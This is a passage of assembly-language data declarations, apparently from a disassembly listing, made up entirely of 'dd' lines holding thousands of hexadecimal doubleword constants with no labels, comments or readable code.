		dd 0B8F53F67h, 33424300h, 0B94A352Ah, 0C3D30403h, 7CEFCE3Ch
		dd 3B1D7358h, 4698E698h, 1CA97836h, 0F506A17Eh,	0A3C62352h
		dd 4FF622A8h, 604B5301h, 9B6731C1h, 0C3E606C7h,	1195E9E4h
		dd 0FE84FB01h, 0C50DD3DBh, 13CCCE8h, 0CCA73A9h,	0A63336EFh
		dd 46031A69h, 0D072D487h, 0C0AA7C88h, 8C300118h, 990007B2h
		dd 93404CC1h, 2559D11h,	0DF98A4CEh, 9EE08D27h, 0F93F7A77h
		dd 5E660075h, 0AB6EEB03h, 0A053906Fh, 0F0C12960h, 516900D9h
		dd 0B597D6DAh, 390EF0D7h, 5CD05BF5h, 0FCE719C0h, 39BABC7h
		dd 8A10BA99h, 13B069A1h, 0E0ED39A3h, 0CB00BB8Ch, 0EE0E1C1Fh
		dd 3DD5F32h, 0E0D64087h, 68008A60h, 9D6EE74Ch, 3FE8443Ch
		dd 6601C826h, 0B3060246h, 4C881C3h, 0D1CB2A3Bh,	36396F4h
		dd 206D4445h, 0D5D8BEA0h, 4338EE03h, 3072809Dh,	5CB24FCDh
		dd 76A3007Bh, 7308DE24h, 0BE0C47ACh, 7993D770h,	0F07A1831h
		dd 85349040h, 9AF43301h, 9F9B08F2h, 7C561880h, 6BB105A6h
		dd 8725910Eh, 2901404Dh, 1F4255h, 0CE2630D4h, 0AABB252h
		dd 15FBFA1Fh, 4B516603h, 48102905h, 1898D004h, 2E10DE60h
		dd 74E6AEF6h, 44600AAh,	0E85B3062h, 470CC3E4h, 2011DFFDh
		dd 5DC039B9h, 7CF34B80h, 0E962D508h, 0D0BD100h,	406CD68Dh
		dd 71CC0089h, 601DAD5Fh, 500CD1Ah, 0AF5B3C54h, 0A9B827Bh
		dd 0E9F2C6D3h, 1E2807B5h, 107D4737h, 0B302AB3Fh, 77FB4107h
		dd 0A0CFC718h, 0A62ACF4Dh, 0BD140F6Eh, 8CC0B94Bh, 0F111ECEh
		dd 360BA3Ah, 0A54CD427h, 0BFABD875h, 31680019h,	49FF775Dh
		dd 9C009B47h, 0C875436Ah, 76695EDh, 2BB78D5Ah, 76B3A00Dh
		dd 63795FB8h, 4AA13Dh, 9EC307EBh, 0F477ECh, 0F26B5CF9h
		dd 4415E8A5h, 0ED412E00h
		dd 7FC0B737h, 0D86907AFh, 326677Bh, 488076D3h, 0AE008834h
		dd 1C72E321h, 0B0C57546h, 0B9F27Ch, 234704F5h, 83026AAh
		dd 3A430F1Ch, 0E9C0A980h, 0A010DA1Eh, 8828D0h, 8506B95h
		dd 0D6599D77h, 18BE20Bh, 99A480EFh, 0C09E57C8h,	394031FCh
		dd 81C0D50Ch, 0BFFE887Dh, 6CB100B9h, 692BE32Eh,	0EA608624h
		dd 0AAFDAD91h, 0CB163B43h, 1896C780h, 0DAB29001h, 474D0600h
		dd 3AEF3170h, 0EDA10008h, 0FCA9D1Ch, 34005C60h,	0E63504F6h
		dd 7F9FC8h, 2D1526B0h, 320F8C86h, 0BBC2D828h, 20CDA400h
		dd 0EAE19FBCh, 2E7B3946h, 0C001B600h, 0F45FA1BAh, 9BE06D00h
		dd 0C85795B3h, 0B83D716Ah, 0A670371h, 0E0A25FC9h, 0FBB96DD8h
		dd 0A9DA8E00h, 4B94E502h, 95AF3AD1h, 2497F000h,	0F60C532Dh
		dd 0D91C1C78h, 873C462Fh, 42960A61h, 2E2CE830h,	37B70921h
		dd 40000DCEh, 0C5954C19h, 0DE703E7Ah, 0C8E30A00h, 0B0F72BA1h
		dd 4B0100A7h, 0D6248A17h, 4146EBCh, 1FB04879h, 960045B8h
		dd 89DD65FCh, 0BABD0316h, 0CBEFDB08h, 197C4AE0h, 0B356B4A0h
		dd 4BDD1100h, 58E893D5h, 5C36126Ah, 0A4880080h,	24EF68CAh
		dd 9C005EE2h, 5B75C7BDh, 1E1B7EDh, 0AA65B5E4h, 8058B09Bh
		dd 6C17CD30h, 382287E8h, 0C41EBDA5h, 5C52C098h,	0FEAE5941h
		dd 708164Dh, 0F3A5B5D2h, 1F4D1C50h, 606D1D7Dh, 562303FBh
		dd 0A00217DEh, 0FD509A97h, 0CE4C057h, 152B00D7h, 0ACCF1C93h
		dd 90006EC5h, 0A33B54E5h, 76C16A0h, 41E24210h, 0A378F762h
		dd 0E3CBE73Fh, 6AE5CF0h, 88D17B01h, 58B69430h, 0F187D987h
		dd 0AA97F39Ah, 0CA34C800h, 0FBFF7D5h, 0B3E42BE3h, 8810074h
		dd 0E2526EF7h, 1283EB00h, 6F031079h, 609701D1h,	3DD97C4Eh
		dd 1F9EDC6Ch, 5E187A00h, 0A081DC69h, 67231D0Eh,	568D409Dh
		dd 2BD412A6h, 4C11E00h,	0D73D3458h, 0FCDD00E5h,	5D98C5EBh
		dd 0A2007D7Ch, 0FAAB85E1h, 0A00540ECh, 0B0FBEB92h, 0A7B300AFh
		dd 48D0D3B0h, 412E5A22h, 0FF00CCB6h, 81662984h,	50F21F87h
		dd 0E0AED911h, 327BE0A7h, 33D3A03h, 0A0A37C9Bh,	293CB5h
		dd 0D8CDC7BEh, 8AA5F6AEh, 68D79314h, 0FFE04C8h,	10906258h
		dd 76607C6Ah, 66F40050h, 4AF91F85h, 0CBFCA44Dh,	2491E500h
		dd 0DFB04CB9h, 54140093h, 9C2103EEh, 5C7AFAA0h,	0CEBF3D00h
		dd 2B02E5D1h, 0DA4A0AB6h, 4EE0E3FDh, 59520D20h,	0A3006DB8h
		dd 0C498A72Ah, 727EACh,	2FE612E1h, 65429A02h, 6A62C9F5h
		dd 744AB0h, 0A2C3F3C9h,	6DC6023Fh, 9E3D600h, 1D399981h
		dd 8DB1006Ch, 0F0CEE65Dh, 7E70754Ch, 8BAD4112h,	20D17B0Eh
		dd 3B0E057Ch, 91C903ABh, 5D855902h, 968F9480h, 0D1E6C000h
		dd 3D86FFA6h, 4357385Ah, 51B79C09h, 0B68AD020h,	0D80BFBF0h
		dd 80441EB5h, 0F968766Ah, 4AA800D2h, 0C6DA8186h, 5277D134h
		dd 314C8C92h, 16710704h, 2BB992B5h, 56260584h, 0CBDB870Eh
		dd 948900E1h, 2C9CCE2Ah, 806041C1h, 9AD2A34Ah, 67E0B3F8h
		dd 3FE2BB00h, 6A7EAB3Dh, 648707C8h, 0E05CE8F2h,	385B1666h
		dd 0BF883100h, 0C77BE763h, 59E530BBh, 2136A388h, 0F61A6F00h
		dd 8D2B83D5h, 0C0F10CB6h, 3E711F87h, 905D7200h,	9CF8DD8Fh
		dd 35EC0Bh, 0A9882D94h,	0FEC801EEh, 5C499102h, 0C3623C74h
		dd 0C3D006BAh, 49847C99h, 48DC810Eh, 7AC484F0h,	4012A490h
		dd 0C8DE00AEh, 45F932C1h, 8877E271h, 0B09C6200h, 4A278D17h
		dd 306D726Eh, 1E8AEB1h,	0C9008F7Ah, 7EB613B5h, 0E4FBD7D5h
		dd 0BA9E1386h, 224F0068h, 4208B06Bh, 0CCBE90Eh,	4C3780A8h
		dd 56F265h, 0AF2C4814h,	8A1921EBh, 254D6B01h, 737B66B9h
		dd 3FD48170h, 6E85DBF2h, 0C0D3D73Ah, 0E5590858h, 10F0AE01h
		dd 23AB7689h, 0FEA08460h, 0A92E00CAh, 0FB6E57BDh, 24002AE6h
		dd 0C7D88D5Fh, 0B6FE32h, 721FBB5Dh, 16D91CDFh, 8758DC01h
		dd 0B491D89Ah, 3D812030h, 518227EAh, 0BF8AC003h, 0C9413880h
		dd 0D57A7264h, 77A6A01Eh, 93EDEAC2h, 3B244836h,	60624CD0h
		dd 61F5B7B0h, 0A5D33200h, 0CEA2BC31h, 0A15B009Ah, 0EF88499Dh
		dd 0F2003CC6h, 8592CD9Ch, 1233F45h, 342C5D5Ah, 6447D865h
		dd 35587CE8h, 0A2648238h, 0E060C317h, 0FE8836A0h, 2806005Eh
		dd 0DD625249h, 0D1E0143Bh, 0B2DB3A05h, 0ED0435E4h, 68828B7Dh
		dd 5A54403Fh, 60889152h, 0EA8A0AD8h, 5E8B691Fh,	0D02C9h
		dd 0FF1BC18Bh, 0E407003Dh, 6C18B357h, 0DF015EACh, 0E3EC4D64h
		dd 0B4DFC7F1h, 0BF00F8CFh, 373F5552h, 99099283h, 20F794B4h
		dd 0B6AB8E5Ch, 7A84072Ch, 9EEFF2BFh, 3B0BE681h,	0A54C20B8h
		dd 356ED00h, 51D7257Ch,	0D34000B1h, 55FF504h, 3E0246C9h
		dd 0B90A1DD8h, 2F94A143h, 60899E55h, 0CB04DF7h,	0C051914h
		dd 0E9C9FBFAh, 1AB21680h, 700A5938h, 8D65E309h,	0CDFB9C20h
		dd 0C409B954h, 10845ED1h, 4A00CCCh, 0E0EFB30Bh,	0DAB88015h
		dd 0F63BEC7Ah, 37590385h, 1C6496D4h, 80E92250h,	0F9895B63h
		dd 0D702F2A2h, 0D5097A95h, 0F830C316h, 776D5C54h, 33F60002h
		dd 580E63ABh, 2A2618CCh, 81C108BBh, 32B5B9h, 80C10C1Eh
		dd 2F56A73h, 8585853h, 72904902h, 97157600h, 0DA633C25h
		dd 1E14F457h, 1A61C8Eh,	0E453123Fh, 31F7D401h, 0D9057D72h
		dd 9111601Dh, 0B4A84CC0h, 758E0046h, 0E529E7B0h, 0B0A5BA5Dh
		dd 9572CD64h, 8C2570AFh, 43C0D0C1h, 0F254913Dh,	6500EEBCh
		dd 0EBAA5407h, 12333CF3h, 706460B5h, 88387B78h,	0A300CC9Ah
		dd 2487B149h, 2819DCB7h, 0F1AC3664h, 0A16BC308h, 0EA603080h
		dd 63BA1940h, 0AC3F4915h, 0A3082868h, 0C4024716h, 0C6509088h
		dd 0CAF092E8h, 0A3A8B30Ch, 3791ADh, 0BE691A02h,	93665EDBh
		dd 10574Ch, 0AAF9D6BFh,	659DFBh, 8D8B5513h, 6AA5DC03h
		dd 0E6033E75h, 7E976EF6h, 32BC90C0h, 21E4076Fh,	2174522Dh
		dd 30800B25h, 4C09D205h, 37BCD0h, 0C1892689h, 4658006Dh
		dd 43AFA40h, 0AC00B76Ch, 0BD6AF73Eh, 0E68C69B1h, 7C970053h
		dd 0D611A4A7h, 0F60776D2h, 6D4807DAh, 4C42E920h, 0FBAD01B8h
		dd 0CC816B8Ch, 28A07E03h, 0B2470002h, 62BE1BAFh, 92010F1Ah
		dd 8756A558h, 0DBE45519h, 0F6896042h, 8C65C015h, 0B043EC02h
		dd 608DDDD8h, 0FAFD0558h, 0FFFB01A0h, 0A412E506h, 115770F9h
		dd 0D645B90Fh, 0DFC0DEB0h, 0B69B8B7Ah, 0EBFE3BF5h, 1A0600F3h
		dd 0C8579252h, 4E0069A6h, 0B23F9F24h, 4C56B4Fh,	16FED47Ah
		dd 4760C04Ah, 8D03B728h, 81858296h, 62800F75h, 9A42C7FEh
		dd 0E8406DC5h, 0B5551E05h, 96CCEC10h, 32571200h, 8EC5728Ch
		dd 0C0B238F4h, 94015CA7h, 381A598Dh, 0C9910098h, 58BCFEB7h
		dd 0A1FEB4h, 22B93A4Ah,	0FDAB2113h, 4748BA00h, 161B6B95h
		dd 7C070C91h, 853045D2h, 0B8494B26h, 0B78C2680h, 0DD0D88D5h
		dd 0BD1B0369h, 42FB32EAh, 47443007h, 0B0680AEh,	7A50081h
		dd 2FDB5E10h, 2B74B7E4h, 58636E30h, 3F5AF08h, 0A49C4EC8h
		dd 0C4D0B49Eh, 0E174A036h, 4B409701h, 0E246E68Ah, 6BFB80D6h
		dd 0B64D1Ah, 948E3324h,	0E6094C10h, 0CE2EC800h,	396E512Fh
		dd 0D0D90777h, 104DE1B5h, 0B829F8C3h, 0B000A72h, 732BCE24h
		dd 7C460414h, 6FD20394h, 4B312517h, 80B47EF1h, 681BFAB8h
		dd 240F4F23h, 1E6C428Ch, 3E1A4B16h, 6AD284A0h, 71001B23h
		dd 995189AEh, 0F6689Eh,	1584EBCEh, 727D8747h, 160A22E0h
		dd 9C57F2F9h, 6470A880h, 7D28C43h, 0A28045C2h, 0D00744C5h
		dd 65821A40h, 0AFD3E31Dh
		dd 523DA4E8h, 0BF83034Ch, 0A8BA9697h, 2D8084h, 29D1326Bh
		dd 0FA432513h, 0A214004h, 98F4DE06h, 15450C90h,	1A11117Eh
		dd 78E413Fh, 86B770BCh,	2E08F4D6h, 8E58FDB6h, 65809672h
		dd 46DF216Eh, 99CEB131h, 93401898h, 3FF155Fh, 0BDFE3F7Eh
		dd 0A7C1CC7Dh, 9A14244Ch, 0DF673Ch, 668930E3h, 0D31086h
		dd 4FE25F55h, 0B3F236F7h, 2B912260h, 5D2E17h, 5049FCB5h
		dd 522FBD92h, 15C09501h, 5871A1E7h, 48371530h, 82675C78h
		dd 61D4BA6Fh, 20D62377h, 1A5261D6h, 10F410D4h, 2369850Fh
		dd 82A470A0h, 31002401h, 0DFF2AB04h, 0FB2D56h, 0F949DE07h
		dd 471476F5h, 0D55616F4h, 2DC6BD8h, 982B32CDh, 800A63D8h
		dd 5D00CE06h, 6CB4C1C6h, 450DF76h, 0BB36BAFCh, 8A608026h
		dd 60072C3Fh, 76866379h, 0F825E6h, 1DAD1C04h, 7B629D02h
		dd 0A6697900h, 13FD530Fh, 61820024h, 58CF76DDh,	57001EC0h
		dd 60BBD22Ah, 3AFC75Eh,	5268E1A6h, 1AB04DECh, 4F3EF17Dh
		dd 0A8EE00D3h, 8417CD0Fh, 0A1B907BFh, 60522B26h, 18CABBBDh
		dd 9F09DCFAh, 8010A616h, 0A5082A2Ah, 330E0192h,	87186C1Eh
		dd 831CF05Bh, 0CBC00D00h, 0BB37DE8Dh, 0CC9400B9h, 0C453667Fh
		dd 0CF0CCE1Bh, 704EC352h, 0F2B100A6h, 0B5949648h, 63098D18h
		dd 80972BABh, 59419AE8h, 0F212004Ah, 330FCD92h,	6A017F57h
		dd 1A80C672h, 84487AC3h, 12E000D4h, 4C57E5FDh, 1FE02EBCh
		dd 0F9C60B00h, 9A6D1AAFh, 0CD9B07E1h, 8526A47Eh, 0C046A71h
		dd 10EB3FC8h, 91F200B9h, 0A081626Fh, 50F0BA97h,	1E78B4F8h
		dd 0C49C2018h, 31A120h,	0DB73B9E0h, 0BB07348Fh,	53CA1800h
		dd 0C12B4006h, 1AC40043h, 0D7DE6892h, 54248A02h, 1F0085D2h
		dd 1C0FD81Eh, 5CE1F769h, 0B692E8F3h, 21F40051h,	4A969FA7h
		dd 723E1D83h, 4EA08EE0h, 53864035h, 1C29F9h, 81162120h
		dd 0CDBEDD4Fh, 33E93Fh,	761832A2h, 3C35EF3Ah, 0E00F243h
		dd 0D587A0E2h, 2B0077B5h, 0D264AD70h, 0E3F2874h, 0DEF85F9Bh
		dd 3962ECE0h, 3C0E5BA7h, 0A02F64C6h, 1E872330h,	1BF65Dh
		dd 21349F5Ch, 0E0FDDFF3h, 10609800h, 40E5912Eh,	720D0054h
		dd 68BE35E8h, 21000880h, 441C2D0Fh, 7506BBCBh, 0CB12869h
		dd 0CE1F2CB4h, 156400F7h, 0DD74CC91h, 7543593Dh, 7FCA8200h
		dd 11301E79h, 16F0B56Eh, 18CFD800h, 0FAFE1070h,	4A1301A6h
		dd 9AFCA832h, 719080B4h, 2D9F3BD5h, 8AF00BCh, 3F1BE1D7h
		dd 0A4021636h, 6E536556h, 0CB1C40C3h, 8A779Dh, 81E3D0B3h
		dd 0A22A7ED1h, 2200F87Dh, 36DE4A4Eh, 397C7A74h,	0E307C60Ch
		dd 0C01E7750h, 32CA6225h, 9B8C7307h, 2F10096Ah,	953DEFh
		dd 7C24239Ch, 0FD867876h, 130BCC00h, 2E5FB820h,	98402858h
		dd 375000B0h, 0C2768CACh, 9D0390BCh, 8D6A7EE2h,	2D4AB0C5h
		dd 7093000Eh, 0A623FDBDh, 0D2005F59h, 153DF0FFh, 115219h
		dd 974B3294h, 3FBF6AC7h, 0B41CFEF8h, 0FF4296E2h, 80B3766Bh
		dd 8882218Ch, 7DEE0073h, 0D85ADF47h, 9D0001D1h,	0A5C5716Eh
		dd 1D9FA142h, 8E6F89BEh, 85A0163Ah, 0ED0954A9h,	0D5B30400h
		dd 126AFA34h, 58B4000Fh, 0D1442F3Dh, 150069EEh,	2D6F7B9h
		dd 0EB49A9h, 0BFDAA74Bh, 8F791117h, 0AA603600h,	0A1095062h
		dd 33781308h, 464900A7h, 118999D4h, 39F4D0A0h, 0E5220507h
		dd 0DB20CF7Fh, 122102h,	0DC258E8Bh, 5F9CBA98h, 0D8B6B330h
		dd 3E27EDFFh, 0F8500684h, 0E86949EFh, 7F2AB500h, 40D72116h
		dd 77FE4603h, 96EA02h, 0F411C238h, 61B98EE8h, 0BC4B2200h
		dd 1DAB2C9Eh, 19EA0012h, 798C440h, 0A69054F2h, 5FDD7117h
		dd 876BE600h, 0F484620Eh, 82A2009Eh, 0E66365DBh, 81003EE7h
		dd 74EB44ECh, 0B33513h,	0B6FEF9B2h, 37B430D8h, 5EEBC00h
		dd 1BF43ACh, 0DE513F56h, 0FF007B3Ah, 0A2F63B17h, 0A9008EF0h
		dd 1AAF999h, 0EF53D44h,	96984B55h, 0F7882A0h, 3C00FF4Ah
		dd 0CE7A358Fh, 0D609F8h, 0BE76B290h, 9A972E9Bh,	1E26A700h
		dd 0C881D8C4h, 35651E39h, 0FC017CE4h, 0B0B70FC6h, 0E4C2E94Fh
		dd 80AB91F7h, 385FFC0h,	5C219201h, 0E65BF6C9h, 8388B041h
		dd 487C42F8h, 0D1008E9Eh, 3EE28AF3h, 9209B30Bh,	80D2C73Bh
		dd 0D6B890C4h, 2EF8FA35h, 2271FCh, 37EB3BD3h, 870095F0h
		dd 403452A2h, 5F7C08h, 0B5BF717h, 5DF5B0EFh, 6EBEE400h
		dd 26FDC3A5h, 0AB87002Ch, 9024C78Ah, 0C100B0EDh, 3EB67E05h
		dd 4C3B4BDAh, 0B2CE4CAh, 822A03ECh, 59C1BB80h, 605CECD9h
		dd 9C856100h, 1B3275AEh, 0DAC1121Ah, 51D70FE5h,	87EE25E4h
		dd 7BE45094h, 90188A70h, 0BB20DEC6h, 98DA009Ch,	2FC9613Eh
		dd 0AC00879Bh, 0D47CE77Dh, 108549Dh, 1DD023ADh,	0EC22B4CAh
		dd 0B000D9FBh, 35AE4A0Eh, 2431ACBh, 0C4F195D0h,	7C40A665h
		dd 0CF3D7B2Eh, 0A7D900CDh, 0E0FCAB7Eh, 0CBB50066h, 44AD4933h
		dd 0D703878Bh, 7883A341h, 6095A08Ah, 0D7614CF2h, 0D4F62C00h
		dd 0C6E8114Bh, 7E841407h, 72502256h, 8E829Ch, 610370AEh
		dd 628F5389h, 0DD778600h, 4181D09Eh, 0D6D7002Ah, 69FB906Bh
		dd 44008FBBh, 0CEBF4DEAh, 0BDA354h, 29EFB8C1h, 7D020D39h
		dd 72A43838h, 0AE948600h, 0D1A91E47h, 9F1814BAh, 0EF00687Fh
		dd 6B57873Bh, 0AF0E2402h, 0C0E43D5Ch, 0E76E6771h, 32E9002Ch
		dd 8F8AA1D7h, 0A2E892D9h, 0E3621500h, 0BDB0EF5h, 0AA6601E5h
		dd 30D67585h, 0D05220CFh, 0A4BB2B07h, 0EDB0492Dh, 772CD48h
		dd 572C70D9h, 0B58A00E3h, 0A013623h, 76DAC5FBh,	88F8FD47h
		dd 1CB7B4Eh, 9180B82Ah,	307736BDh, 40ED714h, 3D3E2D3Ch
		dd 31FC0843h, 0B442C918h, 125D5B00h, 61A5C800h,	2E972D24h
		dd 0C773040Dh, 0C0E915A1h, 6CDE36C2h, 0A6E1400h, 841697C5h
		dd 421074Fh, 701BB9AAh,	0FBFCA172h, 870207E4h, 3845CBBAh
		dd 0C044C840h, 0B5510746h, 205B8810h, 929AE4A7h, 5410A9h
		dd 3A5824A0h, 0AC3AA926h, 1324A4A4h, 99D40028h,	0EBA50A7Bh
		dd 6700787Fh, 4A9F439Eh, 3413F1h, 141A934Fh, 0E191BEB6h
		dd 5B07D10Eh, 0DF3F80ABh, 70C0BDCh, 643C742Fh, 0E58370FAh
		dd 0E2EC5E4Eh, 6F00F4FCh, 8577D082h, 2E0E678Ch,	1F8F51Bh
		dd 1FC14BFh, 4078C95Fh,	196F5EA8h, 17D25D3Fh, 0FF0089B1h
		dd 439AE3ADh, 26D1C341h, 310B5081h, 80CBC51Dh, 6FB2C49h
		dd 6EC6008Fh, 603E1E34h, 0CA00EF53h, 8781EBDCh,	84B5C7h
		dd 1409B470h, 51F2A947h, 0E4004376h, 0B1DEFF8Dh, 905F88Ah
		dd 577890FCh, 0D52DE280h, 5B5CAA2Eh, 2542039Bh,	80DEA596h
		dd 0CB3963h, 3B30EBD1h,	10572EA2h, 80970738h, 90BE0F1Ah
		dd 7F54763Eh, 619A004Ah, 6FADA4FEh, 4F032785h, 3E2B4E2Dh
		dd 98EC09Eh, 72300F10h,	0A600812h, 4E3729A2h, 0F901C67Fh
		dd 4F7B452Ah, 1DECC71Ch, 0D4CA008Ch, 5BF40739h,	5700347Ah
		dd 0F018CD82h, 7CFAE5D9h, 67741FC7h, 0D4B3C0B7h, 1BD3FF2Bh
		dd 95012172h, 7E344A55h, 9520FAD8h, 539D02D2h, 1B103707h
		dd 0A151B4A0h, 873CBFCFh, 16FC8777h, 5F44CCE1h,	0E67CA0h
		dd 0B98904DAh, 0A08A7547h, 0E885F30Bh, 0F9C08099h, 5B8D5Dh
		dd 0E672D49Dh, 0C9F4058Bh, 5A02F5F6h, 9F7548A2h, 31A44067h
		dd 3F7DFE42h, 0F28366ABh, 6CA2BA22h, 0E2208960h, 3BAA74A6h
		dd 91003D66h, 136CA3B0h, 8518033Bh, 8D306228h, 0EFDE0093h
		dd 0E64B350Eh, 9D0061CDh, 0F6B3AB90h, 146DE9h, 0A3C2D069h
		dd 747D2CF9h, 70D53704h
		dd 0DAC3F713h, 0E9CBB014h, 0CB500D2h, 3FF37FD9h, 7A00E523h
		dd 0F4FE7EE7h, 0E1312Fh, 0B53DC1FDh, 678ED7E0h,	8B521300h
		dd 57E7820Fh, 0A877A1h,	6D9B8AC8h, 6AA22AE2h, 64C5B507h
		dd 9E103F82h, 0C97861h,	0BDB78B6Fh, 0E290EC5Ch,	28504600h
		dd 63D13D26h, 6AB00089h, 0B6DF9CB1h, 0F400B24Bh, 646599E5h
		dd 70CDBF06h, 0E1D500D2h, 0D9BB19B7h, 0D60F222Fh, 808A2C38h
		dd 0A96D52B8h, 0E1FC1E67h, 0FA1EC081h, 8FC497A5h, 35076176h
		dd 1C5D86FBh, 0F7A15BE0h, 0E1560304h, 0C1C91E07h, 0A3249B98h
		dd 29CE1930h, 76B789h, 0BC5BD563h, 0BF33FA54h, 4F005EE8h
		dd 6DBA1CB5h, 0C4D86Eh,	64055FAAh, 237C21BCh, 7406EE79h
		dd 4C24D515h, 1AC00368h, 78B0FFA9h, 5F8EB205h, 0BBC0B9AFh
		dd 3EBE94BFh, 0AE0326F9h, 207F0E78h, 33572DC8h,	1C01B00h
		dd 56068688h, 0CA0A0013h, 0D5BB538Ah, 507148CFh, 80D7813Ch
		dd 24FE0849h, 0E7C18Eh,	0E90B8938h, 0C764B197h,	72165A00h
		dd 50014994h, 45D30083h, 0A95381D5h, 0BD0A6E55h, 0CDF61D6Dh
		dd 0C01B430Eh, 0D44C2EC8h, 0B3EC264Eh, 3FED00CFh, 26F5FDA5h
		dd 88601800h, 22BB8E08h, 4ED53009h, 0FC248420h,	2A52C09Dh
		dd 0CC1F03FEh, 77A7F816h, 30052000h, 0FB1DE68Fh, 6907000Fh
		dd 8E094357h, 7D04A340h, 7F232DE5h, 4B412AC0h, 0AAC900D5h
		dd 0E122AF71h, 4000BD09h, 1329FEDh, 0D227DAh, 0DF8CA6D9h
		dd 0FE4C486h, 20E6A8CCh, 903C004Fh, 0F50C37D2h,	6008CDFh
		dd 2B43EF70h, 33AAC89Dh, 80B8D793h, 5483EC0h, 44947601h
		dd 0AAD115C3h, 8050B0B0h, 0C9B0FF53h, 8A74A401h, 0AAF06DABh
		dd 0B5EAF8h, 3375D196h,	0A7ED1CA6h, 0D2380E67h,	0B707B813h
		dd 0AB3CEE03h, 0CB081801h, 2FC720F0h, 5C524100h, 9F724EAh
		dd 276EA07h, 0F83F129Ch, 0A8E01151h, 9707602Ch,	0C3B3E84Ch
		dd 455D6270h, 0A6741816h, 0BF2E84B2h, 2DD8500h,	0E2A5B4DAh
		dd 67EF1EEDh, 5DC4095h,	372357FBh, 0AACE4103h, 788968E9h
		dd 0CBFC39h, 8899F67Ch,	0C04A2AD0h, 7E45104h, 0C0BE9A68h
		dd 21709C34h, 7178239h,	981FF8FBh, 9138AB83h, 0C40908Bh
		dd 0EB77A3h, 231B5C51h,	0B6189AAAh, 0D5208560h,	13C97AD6h
		dd 18CB31DDh, 0E561195Bh, 0F54ABD0Fh, 74C9C0C1h, 38052C04h
		dd 7F465F6h, 0B3E54D86h, 0E38C50F5h, 6F0982C5h,	80FBD65Dh
		dd 6D6AC8A3h, 0BCFF01C4h, 0A522391Ah, 3FC3D233h, 70D201Dh
		dd 70309380h, 0FDC8B2h,	9E203E26h, 0C54ACEEAh, 31B6510Ch
		dd 5550C9h, 69CC680Bh, 7F68E63h, 188F153Ah, 0A320C575h
		dd 111600B9h, 32B0CC4h,	27025BB3h, 0F202E385h, 43848097h
		dd 0EACB1F70h, 4C4A140Dh, 3F0010D5h, 0F7FC83E5h, 0FA01A8DAh
		dd 13AEF5DCh, 1080E8CEh, 0B1941B06h, 0DD07687Eh, 0E7FE04E5h
		dd 0F5D243h, 8BCCF020h,	0B5DB1E0Eh, 0F6DD051Fh,	23E89143h
		dd 0E0F78840h, 0A5A4001Ch, 0E143FC3Ch, 8712862h, 0E3D383Ah
		dd 58E6F2F9h, 861270F9h, 6168E80Eh, 648FE86Eh, 0EFC4543h
		dd 3A118C01h, 0E740AB9Bh, 78D037EBh, 56B100C8h,	426BA4B2h
		dd 855424ECh, 5C4380D4h, 0D443E507h, 3131641Ah,	7E009085h
		dd 0DB008958h, 142FF78Ch, 0EDFC82h, 1BCEABDAh, 0FF43063Ah
		dd 6C4E0A00h, 88521F7Ch, 79420B9Ah, 0C78EB32Ch,	23F00D2h
		dd 7E20B8EEh, 9BD73800h, 4FE0C951h, 0A41F0AC0h,	1878650h
		dd 21530A01h, 0B99C60EEh, 0BFA9BD00h, 76E130Eh,	9CEF076Bh
		dd 60D45203h, 36A66F74h, 1ACB48h, 218D4A63h, 0BFF32Fh
		dd 76D464D0h, 42BC58B2h, 0F07C8398h, 0C2757900h, 2F04C599h
		dd 0DF038h, 0C13AB012h,	8D37286Bh, 0F1FC9107h, 34C0E6ACh
		dd 0FB9D08Bh, 0C9993987h, 9D8FF301h, 0B49EE084h, 0ED284760h
		dd 7688CFEh, 0B741CCDAh, 30C9E769h, 0DE669DAAh,	0C238A100h
		dd 1CF05C97h, 303DE276h, 0BC086E1Ah, 4CE691EAh,	0F45B1D0Ch
		dd 7EB34885h, 204B3F0Dh, 8FBBF300h, 7D7B01ABh, 67167700h
		dd 9DE6FAFDh, 226400AFh, 3779F0D4h, 39F638EDh, 0E32010Eh
		dd 0B31B80DEh, 7BA0BD8Bh, 66A302Fh, 962437A8h, 5BEC68C0h
		dd 3C67CABh, 87508B7Fh,	3DC3ACC8h, 0FAC05FA8h, 0C72FE707h
		dd 0B8809138h, 590F9Eh,	0E6B169FFh, 28933064h, 457A1E1Eh
		dd 1306DA80h, 793BC580h, 76E90604h, 792ECBF1h, 74C79802h
		dd 0A9BD5057h, 0C0228E98h, 81601B36h, 4E3C00C5h, 0E266E926h
		dd 46E18E55h, 0CF0059B3h, 2BD22C12h, 7217E33h, 4C27E13Eh
		dd 307717D0h, 0E3D7578Eh, 401E74E0h, 2C1D190Dh,	8917A840h
		dd 4B96DEh, 73EBB049h, 59E0FD41h, 76AA3300h, 32AC2C7h
		dd 13860096h, 0A58E6F0Eh, 7D0064F9h, 95924582h,	3BFECE6h
		dd 0DD8F9A2Fh, 0C02E0860h, 813BA506h, 3EE6B6C4h, 18803884h
		dd 66D75293h, 0E318C1C7h, 61F0A9B9h, 1F870135h,	9273849Bh
		dd 2F8C40DEh, 2D48C9D9h, 0E0C5155Ch, 1F04032Ch,	0D43EF9ABh
		dd 89CD2F30h, 84AC5580h, 0BCF38B10h, 0AFF85608h, 0BFFDA188h
		dd 8D53B11h, 8AABE78h, 1743855Ch, 0B1B11046h, 2B3784B2h
		dd 7A738080h, 59A26747h, 5E2747Dh, 5804B778h, 888075B0h
		dd 0A02B603Eh, 407E3B2Ch, 0AE420DC6h, 0BE632F08h, 6DC1E04h
		dd 8AB46D4Ah, 43FCB4C5h, 0D0608E99h, 2301A450h,	0B7B861h
		dd 0F584662Bh, 2C90C9F1h, 3F5EB114h, 80B43BC4h,	0C456B875h
		dd 0E6213C1h, 8D012957h, 4FDD0350h, 0F7392F5Bh,	7F0090AAh
		dd 0F6CB5D91h, 785FE2Ch, 421899B7h, 5A1EF02Eh, 0BA139190h
		dd 30520592h, 0ABC11C02h, 867440FBh, 401313ACh,	6D042014h
		dd 0D500A9F5h, 82445E31h, 0EEEF235h, 4576DB37h,	75A12B60h
		dd 40480151h, 5DF2859Ch, 0B479D70Ah, 0BCB24905h, 46F09805h
		dd 7C68BC00h, 0B0993CF8h, 603E7FFAh, 2AFDD17Bh,	763D6D6Bh
		dd 0E22C800Dh, 0C5B03705h, 2D9124FAh, 0EAA98034h, 0C9565812h
		dd 76349703h, 0A82AA238h, 0D3E4DBh, 997565A1h, 0E2FD7B1h
		dd 449EBD0Ch, 7D2BB6DEh, 6F3F0014h, 0E5AEABADh,	773DFD16h
		dd 0B5C68255h, 0E04730FEh, 0C02B8D5Ch, 37F18CD0h, 0C30074D2h
